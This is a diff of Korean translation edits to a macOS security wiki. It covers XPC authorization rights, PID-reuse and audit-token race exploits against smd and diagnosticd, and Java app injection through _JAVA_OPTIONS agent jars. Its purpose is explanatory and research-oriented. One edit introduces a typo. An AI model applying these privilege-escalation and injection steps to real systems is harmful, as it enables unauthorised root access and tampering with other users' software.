a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md @@ -180,7 +180,7 @@ block(authRightName, authRightDefault, authRightDesc); ### 권한 검증 -`HelperTool/HelperTool.m`에서 **`readLicenseKeyAuthorization`** 함수는 호출자가 **해당 방법을 실행할 수 있는 권한이 있는지** 확인하기 위해 **`checkAuthorization`** 함수를 호출합니다. 이 함수는 호출 프로세스에서 전송된 **authData**가 **올바른 형식**인지 확인한 다음, 특정 방법을 호출하기 위해 **권한을 얻기 위해 필요한 것**을 확인합니다. 모든 것이 잘 진행되면 **반환된 `error`는 `nil`이 됩니다**: +`HelperTool/HelperTool.m`에서 함수 **`readLicenseKeyAuthorization`**는 호출자가 **해당 방법을 실행할 수 있는지** 확인하기 위해 **`checkAuthorization`** 함수를 호출합니다. 이 함수는 호출 프로세스에서 전송된 **authData**가 **올바른 형식**인지 확인한 다음, 특정 방법을 호출하기 위해 **권한을 얻기 위해 필요한 것**을 확인합니다. 모든 것이 잘 진행되면 **반환된 `error`는 `nil`이 됩니다**: ```objectivec - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command { @@ -240,25 +240,25 @@ sudo sqlite3 /var/db/auth.db SELECT name FROM rules; SELECT name FROM rules WHERE name LIKE '%safari%'; ``` -그럼, 다음을 통해 권한에 접근할 수 있는 사람을 확인할 수 있습니다: +그런 다음, 다음을 사용하여 권한에 접근할 수 있는 사람을 읽을 수 있습니다: ```bash security authorizationdb read com.apple.safaridriver.allow ``` ### 허용 권한 -**모든 권한 구성** [**여기에서**](https://www.dssw.co.uk/reference/authorization-rights/) 찾을 수 있지만, 사용자 상호작용이 필요하지 않은 조합은 다음과 같습니다: +**모든 권한 구성**은 [**여기에서**](https://www.dssw.co.uk/reference/authorization-rights/) 확인할 수 있지만, 사용자 상호작용이 필요하지 않은 조합은 다음과 같습니다: 1. **'authenticate-user': 'false'** - 이것은 가장 직접적인 키입니다. `false`로 설정하면 사용자가 이 권한을 얻기 위해 인증을 제공할 필요가 없음을 지정합니다. -- 이는 아래의 2개 중 하나와 조합하여 사용되거나 사용자가 속해야 하는 그룹을 나타내는 데 사용됩니다. +- 이는 아래의 2개 중 하나와 조합되거나 사용자가 속해야 하는 그룹을 나타내는 데 사용됩니다. 2. **'allow-root': 'true'** - 사용자가 루트 사용자로 작동하고(권한이 상승된 상태), 이 키가 `true`로 설정되면 루트 사용자가 추가 인증 없이 이 권한을 얻을 수 있습니다. 그러나 일반적으로 루트 사용자 상태에 도달하려면 이미 인증이 필요하므로 대부분의 사용자에게는 "인증 없음" 시나리오가 아닙니다. 3. **'session-owner': 'true'** - `true`로 설정되면 세션의 소유자(현재 로그인한 사용자)가 자동으로 이 권한을 얻습니다. 사용자가 이미 로그인한 경우 추가 인증을 우회할 수 있습니다. 4. **'shared': 'true'** -- 이 키는 인증 없이 권한을 부여하지 않습니다. 대신, `true`로 설정되면 권한이 인증된 후 여러 프로세스 간에 공유될 수 있으며 각 프로세스가 다시 인증할 필요가 없습니다. 그러나 권한의 초기 부여는 여전히 인증이 필요하며, `'authenticate-user': 'false'`와 같은 다른 키와 결합되지 않는 한 그렇습니다. +- 이 키는 인증 없이 권한을 부여하지 않습니다. 대신, `true`로 설정되면 권한이 인증된 후 여러 프로세스 간에 공유될 수 있으며, 각 프로세스가 다시 인증할 필요가 없습니다. 그러나 권한의 초기 부여는 여전히 인증이 필요하며, `'authenticate-user': 'false'`와 같은 다른 키와 결합되지 않는 한 그렇습니다. -[**이 스크립트**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)를 사용하여 흥미로운 권한을 얻을 수 있습니다: +흥미로운 권한을 얻으려면 [**이 스크립트**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)를 사용할 수 있습니다: ```bash Rights with 'authenticate-user': 'false': is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root) @@ -273,19 +273,19 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se ### EvenBetterAuthorization 사용 여부 확인 -**`[HelperTool checkAuthorization:command:]`** 함수를 찾으면, 아마도 이 프로세스는 이전에 언급된 권한 부여 스키마를 사용하고 있을 것입니다: +함수 **`[HelperTool checkAuthorization:command:]`** 를 찾으면, 아마도 이 프로세스는 이전에 언급된 권한 부여 스키마를 사용하고 있을 것입니다:
-이 함수가 `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`와 같은 함수를 호출하고 있다면, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)을 사용하고 있는 것입니다. +이 경우, 이 함수가 `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`와 같은 함수를 호출하고 있다면, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)을 사용하고 있는 것입니다. -**`/var/db/auth.db`**를 확인하여 사용자 상호작용 없이 일부 권한 있는 작업을 호출할 수 있는지 확인하십시오. +**`/var/db/auth.db`** 를 확인하여 사용자 상호작용 없이 일부 권한 있는 작업을 호출할 수 있는지 확인하십시오. ### 프로토콜 통신 그런 다음, XPC 서비스와 통신을 설정할 수 있도록 프로토콜 스키마를 찾아야 합니다. -**`shouldAcceptNewConnection`** 함수는 내보내는 프로토콜을 나타냅니다: +함수 **`shouldAcceptNewConnection`** 은 내보내는 프로토콜을 나타냅니다:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index c1f6cb62d..4d0d3ac2d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -11,9 +11,9 @@ XPC 서비스에 연결이 설정되면, 서버는 연결이 허용되는지 확 2. 연결하는 프로세스가 **조직의 인증서**로 서명되었는지 확인합니다 (팀 ID 확인). - 이 **확인이 이루어지지 않으면**, Apple의 **모든 개발자 인증서**가 서명에 사용될 수 있으며, 서비스에 연결할 수 있습니다. 3. 연결하는 프로세스가 **적절한 번들 ID**를 포함하는지 확인합니다. -- 이 **확인이 이루어지지 않으면**, 동일한 조직에 의해 **서명된 도구**가 XPC 서비스와 상호작용하는 데 사용될 수 있습니다. +- 이 **확인이 이루어지지 않으면**, 동일한 조직에서 **서명된 도구**가 XPC 서비스와 상호작용하는 데 사용될 수 있습니다. 4. (4 또는 5) 연결하는 프로세스가 **적절한 소프트웨어 버전 번호**를 가지고 있는지 확인합니다. -- 이 **확인이 이루어지지 않으면**, 오래된, 안전하지 않은 클라이언트가 프로세스 주입에 취약하여 다른 확인 사항이 적용되더라도 XPC 서비스에 연결될 수 있습니다. +- 이 **확인이 이루어지지 않으면**, 오래된, 안전하지 않은 클라이언트가 프로세스 주입에 취약하여 다른 확인 사항이 있더라도 XPC 서비스에 연결될 수 있습니다. 5. (4 또는 5) 연결하는 프로세스가 위험한 권한이 없는 **강화된 런타임**을 가지고 있는지 확인합니다 (임의의 라이브러리를 로드하거나 DYLD 환경 변수를 사용할 수 있는 권한과 같은). 1. 이 **확인이 이루어지지 않으면**, 클라이언트는 **코드 주입에 취약할 수 있습니다**. 6. 연결하는 프로세스가 서비스에 연결할 수 있는 **권한**을 가지고 있는지 확인합니다. 이는 Apple 바이너리에 적용됩니다. @@ -38,7 +38,7 @@ macos-xpc_connection_get_audit_token-attack.md ### Trustcache - 다운그레이드 공격 방지 -Trustcache는 Apple Silicon 기계에서 도입된 방어 방법으로, Apple 바이너리의 CDHSAH 데이터베이스를 저장하여 허용된 비수정 바이너리만 실행될 수 있도록 합니다. 이는 다운그레이드 버전의 실행을 방지합니다. +Trustcache는 Apple Silicon 기계에서 도입된 방어 방법으로, Apple 바이너스의 CDHSAH 데이터베이스를 저장하여 허용된 비수정 바이너스만 실행될 수 있도록 합니다. 이는 다운그레이드 버전의 실행을 방지합니다. ### 코드 예제 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md index 3d368bdad..58991f9c7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md @@ -10,7 +10,7 @@ macOS **XPC 서비스**가 **PID**를 기반으로 호출된 프로세스를 확 ### 익스플로잇 예시 -**`shouldAcceptNewConnection`** 함수나 이를 호출하는 함수가 **`processIdentifier`**를 호출하고 **`auditToken`**을 호출하지 않는 경우를 찾으면, 이는 **프로세스 PID를 검증**하고 있으며 감사 토큰을 검증하지 않는다는 것을 의미합니다.\ +**`shouldAcceptNewConnection`** 함수나 이를 호출하는 함수가 **`processIdentifier`**를 호출하고 **`auditToken`**을 호출하지 않는 경우를 찾으면, 이는 **프로세스 PID**를 확인하고 감사 토큰을 확인하지 않는다는 것을 의미합니다.\ 예를 들어, 이 이미지에서처럼 (참조에서 가져옴):
https://wojciechregula.blog/images/2020/04/pid.png
@@ -18,7 +18,7 @@ macOS **XPC 서비스**가 **PID**를 기반으로 호출된 프로세스를 확 익스플로잇의 두 부분을 확인하기 위해 이 예시 익스플로잇을 확인하세요 (다시, 참조에서 가져옴): - 여러 개의 포크를 **생성하는** 부분 -- **각 포크**는 메시지를 전송한 직후 **`posix_spawn`**을 실행하면서 **페이로드**를 XPC 서비스에 **전송**합니다. +- **각 포크**는 메시지를 전송한 직후 **`posix_spawn`**을 실행하면서 **XPC 서비스**에 **페이로드**를 **전송**합니다. > [!CAUTION] > 익스플로잇이 작동하려면 ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`**를 설정하거나 익스플로잇 내부에 다음을 넣는 것이 중요합니다: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md index 868ceb9dc..707d7f296 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md @@ -13,7 +13,7 @@ Mach 메시지가 무엇인지 모른다면 이 페이지를 확인하세요: {{#endref}} 현재 기억해야 할 것은 ([여기서 정의](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\ -Mach 메시지는 _mach 포트_를 통해 전송되며, 이는 mach 커널에 내장된 **단일 수신자, 다중 발신자 통신** 채널입니다. **여러 프로세스가** mach 포트에 메시지를 보낼 수 있지만, 언제든지 **단일 프로세스만 읽을 수 있습니다**. 파일 설명자 및 소켓과 마찬가지로, mach 포트는 커널에 의해 할당되고 관리되며, 프로세스는 커널에 사용하고자 하는 mach 포트를 나타내기 위해 사용할 수 있는 정수만을 봅니다. +Mach 메시지는 _mach 포트_를 통해 전송되며, 이는 mach 커널에 내장된 **단일 수신자, 다중 발신자 통신** 채널입니다. **여러 프로세스가** mach 포트에 메시지를 보낼 수 있지만, 언제든지 **단일 프로세스만 읽을 수 있습니다**. 파일 설명자 및 소켓과 마찬가지로, mach 포트는 커널에 의해 할당되고 관리되며, 프로세스는 커널에 사용하고자 하는 mach 포트를 나타내기 위해 정수만 볼 수 있습니다. ## XPC 연결 @@ -31,10 +31,10 @@ XPC 연결이 어떻게 설정되는지 모른다면 확인하세요: - XPC 연결의 감사 토큰은 **가장 최근에 수신된 메시지에서 복사된 감사 토큰**입니다. - XPC 연결의 **감사 토큰**을 얻는 것은 많은 **보안 검사**에 중요합니다. -이전 상황이 유망하게 들리지만, 이는 문제가 발생하지 않을 몇 가지 시나리오가 있습니다 ([여기서](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): +이전 상황이 유망하게 들리지만, 이것이 문제를 일으키지 않을 몇 가지 시나리오가 있습니다 ([여기서](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): -- 감사 토큰은 종종 연결 수락 여부를 결정하기 위한 권한 확인에 사용됩니다. 이는 서비스 포트에 메시지를 사용하여 발생하므로, **아직 연결이 설정되지 않았습니다**. 이 포트에 대한 추가 메시지는 단순히 추가 연결 요청으로 처리됩니다. 따라서 연결 수락 전에 수행되는 **검사는 취약하지 않습니다** (이는 `-listener:shouldAcceptNewConnection:` 내에서 감사 토큰이 안전하다는 것을 의미합니다). 따라서 우리는 **특정 작업을 확인하는 XPC 연결을 찾고 있습니다**. -- XPC 이벤트 핸들러는 동기적으로 처리됩니다. 이는 하나의 메시지에 대한 이벤트 핸들러가 다음 메시지에 대해 호출되기 전에 완료되어야 함을 의미하며, 동시 디스패치 큐에서도 마찬가지입니다. 따라서 **XPC 이벤트 핸들러 내에서 감사 토큰은 다른 일반(비응답!) 메시지에 의해 덮어쓰여질 수 없습니다**. +- 감사 토큰은 종종 연결을 수락할지 결정하기 위한 권한 확인에 사용됩니다. 이는 서비스 포트에 메시지를 사용하여 발생하므로, **아직 연결이 설정되지 않았습니다**. 이 포트에 대한 추가 메시지는 단순히 추가 연결 요청으로 처리됩니다. 따라서 연결을 수락하기 전에 **검사가 취약하지 않습니다** (이는 `-listener:shouldAcceptNewConnection:` 내에서 감사 토큰이 안전하다는 것을 의미합니다). 따라서 우리는 **특정 작업을 확인하는 XPC 연결을 찾고 있습니다**. +- XPC 이벤트 핸들러는 동기적으로 처리됩니다. 이는 하나의 메시지에 대한 이벤트 핸들러가 다음 메시지에 대해 호출되기 전에 완료되어야 함을 의미하며, 동시 디스패치 큐에서도 마찬가지입니다. 따라서 **XPC 이벤트 핸들러 내에서 감사 토큰은 다른 일반(비응답!) 메시지에 의해 덮어쓸 수 없습니다**. 이것이 악용될 수 있는 두 가지 방법이 있습니다: @@ -44,13 +44,13 @@ XPC 연결이 어떻게 설정되는지 모른다면 확인하세요: - 서비스 **A**는 **`xpc_connection_get_audit_token`**을 호출하는데, 이는 **이벤트 핸들러** 내에 _**없습니다**_ **`dispatch_async`**에서. - 따라서 **다른** 메시지가 **감사 토큰을 덮어쓸 수 있습니다**. 이는 이벤트 핸들러 외부에서 비동기적으로 디스패치되고 있기 때문입니다. - 악용은 **서비스 B에 서비스 A에 대한 SEND 권한을 전달합니다**. -- 따라서 svc **B**는 실제로 **서비스 A**에 **메시지**를 **전송**합니다. +- 따라서 svc **B**는 실제로 **서비스 A**에 **메시지**를 **보내고** 있습니다. - **악용**은 **특권 작업을 호출**하려고 합니다. RC svc **A**는 이 **작업**의 권한을 **확인**하는 동안 **svc B가 감사 토큰을 덮어썼습니다** (악용이 특권 작업을 호출할 수 있는 접근을 제공합니다). 2. 변형 2: - 서비스 **B**는 사용자가 할 수 없는 **특권 기능**을 서비스 A에서 호출할 수 있습니다. -- 악용은 **서비스 A**와 연결되며, 서비스 A는 악용에게 특정 **응답**을 기대하는 **메시지**를 **전송**합니다. +- 악용은 **서비스 A**와 연결되며, **응답을 기대하는** **메시지**를 특정 **응답 포트**로 **보냅니다**. - 악용은 **서비스 B**에 **그 응답 포트**를 전달하는 메시지를 보냅니다. -- 서비스 **B**가 응답할 때, **서비스 A**에 메시지를 **전송**하고, **악용**은 서비스 A에 다른 **메시지**를 보내 **특권 기능에 도달**하려고 하며, 서비스 B의 응답이 감사 토큰을 완벽한 순간에 덮어쓸 것이라고 기대합니다 (경쟁 조건). +- 서비스 **B**가 응답할 때, **서비스 A**에 메시지를 **보내고**, **악용**은 **서비스 A**에 다른 **메시지를 보내** 특권 기능에 **도달하려고** 하며, 서비스 B의 응답이 감사 토큰을 완벽한 순간에 덮어쓸 것이라고 기대합니다 (경쟁 조건). ## 변형 1: 이벤트 핸들러 외부에서 xpc_connection_get_audit_token 호출 @@ -62,44 +62,44 @@ XPC 연결이 어떻게 설정되는지 모른다면 확인하세요: - 이 권한 확인을 위해, **`A`**는 비동기적으로 감사 토큰을 얻습니다. 예를 들어, **`dispatch_async`**에서 `xpc_connection_get_audit_token`을 호출하여. > [!CAUTION] -> 이 경우 공격자는 **경쟁 조건**을 유발하여 **악용**이 **A에게 작업을 수행**하도록 여러 번 요청하는 동안 **B가 `A`에 메시지를 보내도록** 할 수 있습니다. RC가 **성공적**일 경우, **B의 감사 토큰**이 메모리에 복사되며, **악용**의 요청이 A에 의해 **처리**되는 동안, **B만 요청할 수 있는 특권 작업에 접근할 수 있게 됩니다**. +> 이 경우 공격자는 **경쟁 조건**을 유발하여 **악용**이 **A에게 작업을 수행하도록 요청**하는 것을 여러 번 할 수 있습니다. 동시에 **B가 `A`에 메시지를 보내게** 됩니다. RC가 **성공적일 경우**, **B의 감사 토큰**이 메모리에 복사되며, **악용**의 요청이 A에 의해 **처리되는 동안** 발생하여 **B만 요청할 수 있는 특권 작업에 접근할 수 있게** 됩니다. 이것은 **`A`**가 `smd`이고 **`B`**가 `diagnosticd`인 경우 발생했습니다. [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) 함수는 새로운 특권 헬퍼 도구를 설치하는 데 사용될 수 있습니다 ( **root**로). 만약 **root로 실행되는 프로세스가** **smd**에 연락하면, 다른 검사는 수행되지 않습니다. -따라서 서비스 **B**는 **`diagnosticd`**입니다. 이는 **root**로 실행되며 프로세스를 **모니터링**하는 데 사용될 수 있습니다. 모니터링이 시작되면, 초당 **여러 메시지를 전송**합니다. +따라서 서비스 **B**는 **`diagnosticd`**입니다. 이는 **root**로 실행되며 프로세스를 **모니터링**하는 데 사용될 수 있습니다. 모니터링이 시작되면, 초당 **여러 메시지를 보냅니다.** 공격을 수행하려면: 1. 표준 XPC 프로토콜을 사용하여 `smd`라는 서비스에 **연결**을 시작합니다. -2. `diagnosticd`에 두 번째 **연결**을 형성합니다. 일반적인 절차와는 달리, 두 개의 새로운 mach 포트를 생성하고 전송하는 대신, 클라이언트 포트 전송 권한이 `smd` 연결과 연결된 **전송 권한**의 복제로 대체됩니다. -3. 결과적으로, XPC 메시지는 `diagnosticd`에 디스패치될 수 있지만, `diagnosticd`의 응답은 `smd`로 리다이렉트됩니다. `smd`에게는 사용자와 `diagnosticd`의 메시지가 동일한 연결에서 발생하는 것처럼 보입니다. +2. `diagnosticd`에 두 번째 **연결**을 형성합니다. 일반적인 절차와는 달리, 두 개의 새로운 mach 포트를 생성하고 보내는 대신, 클라이언트 포트의 전송 권한이 `smd` 연결과 연결된 **전송 권한**의 복제로 대체됩니다. +3. 그 결과, XPC 메시지는 `diagnosticd`로 디스패치될 수 있지만, `diagnosticd`의 응답은 `smd`로 리다이렉트됩니다. `smd`에게는 사용자와 `diagnosticd`의 메시지가 동일한 연결에서 발생하는 것처럼 보입니다. ![악용 프로세스를 나타내는 이미지](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) -4. 다음 단계는 `diagnosticd`에게 선택한 프로세스(사용자의 프로세스일 수 있음)를 모니터링하도록 지시하는 것입니다. 동시에, `smd`에 대한 일상적인 1004 메시지의 홍수를 보냅니다. 여기서 의도는 특권이 있는 도구를 설치하는 것입니다. +4. 다음 단계는 `diagnosticd`에게 선택한 프로세스(사용자의 프로세스일 가능성 있음)를 모니터링하도록 지시하는 것입니다. 동시에, `smd`에 대한 일상적인 1004 메시지의 홍수를 보냅니다. 여기서 의도는 특권이 있는 도구를 설치하는 것입니다. 5. 이 작업은 `handle_bless` 함수 내에서 경쟁 조건을 유발합니다. 타이밍이 중요합니다: `xpc_connection_get_pid` 함수 호출은 사용자의 프로세스의 PID를 반환해야 합니다 (특권 도구가 사용자의 앱 번들에 있기 때문입니다). 그러나 `xpc_connection_get_audit_token` 함수는 특히 `connection_is_authorized` 서브루틴 내에서 `diagnosticd`의 감사 토큰을 참조해야 합니다. ## 변형 2: 응답 전달 -XPC(프로세스 간 통신) 환경에서 이벤트 핸들러는 동시 실행되지 않지만, 응답 메시지 처리에는 고유한 동작이 있습니다. 구체적으로, 응답을 기대하는 메시지를 전송하는 두 가지 방법이 있습니다: +XPC(프로세스 간 통신) 환경에서 이벤트 핸들러는 동시 실행되지 않지만, 응답 메시지 처리에는 고유한 동작이 있습니다. 구체적으로, 응답을 기대하는 메시지를 보내는 두 가지 방법이 있습니다: 1. **`xpc_connection_send_message_with_reply`**: 여기서 XPC 메시지는 지정된 큐에서 수신되고 처리됩니다. 2. **`xpc_connection_send_message_with_reply_sync`**: 반대로, 이 방법에서는 XPC 메시지가 현재 디스패치 큐에서 수신되고 처리됩니다. -이 구분은 **응답 패킷이 XPC 이벤트 핸들러의 실행과 동시에 구문 분석될 가능성을 허용하기 때문에 중요합니다**. 특히, `_xpc_connection_set_creds`는 감사 토큰의 부분 덮어쓰기를 방지하기 위해 잠금을 구현하지만, 전체 연결 객체에 대한 이 보호를 확장하지 않습니다. 결과적으로, 이는 패킷 구문 분석과 이벤트 핸들러 실행 사이의 간격 동안 감사 토큰이 교체될 수 있는 취약점을 만듭니다. +이 구분은 **응답 패킷이 XPC 이벤트 핸들러의 실행과 동시에 구문 분석될 가능성을 허용하기 때문에 중요합니다**. 특히, `_xpc_connection_set_creds`는 감사 토큰의 부분 덮어쓰기를 방지하기 위해 잠금을 구현하지만, 전체 연결 객체에 대한 보호는 확장하지 않습니다. 따라서 패킷 구문 분석과 이벤트 핸들러 실행 사이의 간격 동안 감사 토큰이 교체될 수 있는 취약점이 발생합니다. 이 취약점을 악용하기 위해서는 다음과 같은 설정이 필요합니다: -- **`A`**와 **`B`**라는 두 개의 mach 서비스, 둘 다 연결을 설정할 수 있습니다. +- **`A`**와 **`B`**라는 두 개의 mach 서비스가 모두 연결을 설정할 수 있어야 합니다. - 서비스 **`A`**는 **`B`**만 수행할 수 있는 특정 작업에 대한 권한 확인을 포함해야 합니다 (사용자의 애플리케이션은 수행할 수 없습니다). -- 서비스 **`A`**는 응답을 기대하는 메시지를 전송해야 합니다. -- 사용자는 **`B`**에 응답할 메시지를 보낼 수 있습니다. +- 서비스 **`A`**는 응답을 기대하는 메시지를 보내야 합니다. +- 사용자는 **`B`**에 메시지를 보내 응답을 받을 수 있습니다. -악용 프로세스는 다음 단계를 포함합니다: +악용 과정은 다음 단계로 진행됩니다: 1. 서비스 **`A`**가 응답을 기대하는 메시지를 보낼 때까지 기다립니다. -2. **`A`**에 직접 응답하는 대신, 응답 포트를 탈취하여 서비스 **`B`**에 메시지를 전송하는 데 사용합니다. -3. 이후, 금지된 작업과 관련된 메시지를 디스패치하며, 이는 **`B`**의 응답과 동시에 처리될 것으로 기대합니다. +2. **`A`**에 직접 응답하는 대신, 응답 포트를 탈취하여 서비스 **`B`**에 메시지를 보냅니다. +3. 이후, 금지된 작업과 관련된 메시지를 디스패치하며, 이 메시지가 **`B`**의 응답과 동시에 처리될 것이라고 기대합니다. 아래는 설명된 공격 시나리오의 시각적 표현입니다: @@ -109,7 +109,7 @@ XPC(프로세스 간 통신) 환경에서 이벤트 핸들러는 동시 실행 ## 발견 문제 -- **인스턴스 찾기 어려움**: `xpc_connection_get_audit_token` 사용 사례를 정적 및 동적으로 검색하는 데 어려움이 있었습니다. +- **인스턴스 찾기 어려움**: `xpc_connection_get_audit_token` 사용 사례를 정적 및 동적으로 찾는 것이 어려웠습니다. - **방법론**: Frida를 사용하여 `xpc_connection_get_audit_token` 함수를 후킹하고, 이벤트 핸들러에서 발생하지 않는 호출을 필터링했습니다. 그러나 이 방법은 후킹된 프로세스에 한정되었고, 활성 사용이 필요했습니다. - **분석 도구**: IDA/Ghidra와 같은 도구를 사용하여 접근 가능한 mach 서비스를 검사했지만, 이 과정은 시간이 많이 소요되었고 dyld 공유 캐시와 관련된 호출로 인해 복잡해졌습니다. - **스크립팅 제한**: `dispatch_async` 블록에서 `xpc_connection_get_audit_token` 호출을 분석하기 위한 스크립팅 시도가 블록 구문 분석 및 dyld 공유 캐시와의 상호작용의 복잡성으로 인해 방해받았습니다. @@ -117,8 +117,8 @@ XPC(프로세스 간 통신) 환경에서 이벤트 핸들러는 동시 실행 ## 수정 사항 - **보고된 문제**: `smd` 내에서 발견된 일반 및 특정 문제에 대한 보고서를 Apple에 제출했습니다. -- **Apple의 응답**: Apple은 `smd` 내에서 `xpc_connection_get_audit_token`을 `xpc_dictionary_get_audit_token`으로 대체하여 문제를 해결했습니다. -- **수정의 성격**: `xpc_dictionary_get_audit_token` 함수는 수신된 XPC 메시지와 연결된 mach 메시지에서 직접 감사 토큰을 검색하므로 안전한 것으로 간주됩니다. 그러나 이는 `xpc_connection_get_audit_token`과 유사하게 공개 API의 일부가 아닙니다. +- **Apple의 응답**: Apple은 `smd`의 문제를 해결하기 위해 `xpc_connection_get_audit_token`을 `xpc_dictionary_get_audit_token`으로 대체했습니다. +- **수정의 성격**: `xpc_dictionary_get_audit_token` 함수는 수신된 XPC 메시지와 연결된 mach 메시지에서 감사 토큰을 직접 검색하므로 안전한 것으로 간주됩니다. 그러나 이는 `xpc_connection_get_audit_token`과 유사하게 공개 API의 일부가 아닙니다. - **더 넓은 수정의 부재**: Apple이 연결의 저장된 감사 토큰과 일치하지 않는 메시지를 폐기하는 것과 같은 보다 포괄적인 수정을 구현하지 않은 이유는 불분명합니다. 특정 시나리오(예: `setuid` 사용)에서 합법적인 감사 토큰 변경 가능성이 요인이 될 수 있습니다. - **현재 상태**: 이 문제는 iOS 17 및 macOS 14에서 여전히 존재하며, 이를 식별하고 이해하려는 사람들에게 도전 과제가 되고 있습니다. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index 94b1eeea9..858a86b5d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -4,7 +4,7 @@ ## Enumeration -시스템에 설치된 Java 애플리케이션을 찾습니다. **Info.plist**에 있는 Java 앱은 **`java.`** 문자열을 포함하는 일부 Java 매개변수를 포함하고 있으므로, 이를 검색할 수 있습니다: +시스템에 설치된 Java 애플리케이션을 찾습니다. **Info.plist**에 있는 Java 앱은 **`java.`** 문자열을 포함하는 일부 Java 매개변수를 포함하는 것으로 확인되었습니다. 따라서 이를 검색할 수 있습니다: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -73,7 +73,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -그러나, 이는 실행된 앱에서 오류를 발생시킬 것이며, 더 은밀한 방법은 자바 에이전트를 생성하고 다음을 사용하는 것입니다: +그러나, 이는 실행된 앱에서 오류를 발생시킬 것이며, 더 은밀한 방법은 자바 에이전트를 생성하고 사용하는 것입니다: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -83,7 +83,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` > [!CAUTION] -> 에이전트를 애플리케이션과 **다른 Java 버전**으로 생성하면 에이전트와 애플리케이션 모두의 실행이 중단될 수 있습니다. +> 에이전트를 **다른 Java 버전**으로 생성하면 에이전트와 애플리케이션 모두의 실행이 중단될 수 있습니다. 에이전트는 다음과 같을 수 있습니다: ```java:Agent.java @@ -114,7 +114,7 @@ Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -그런 다음 env 변수를 내보내고 다음과 같이 Java 애플리케이션을 실행합니다: +그리고 환경 변수를 내보낸 후 다음과 같이 Java 애플리케이션을 실행합니다: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -149,6 +149,6 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # 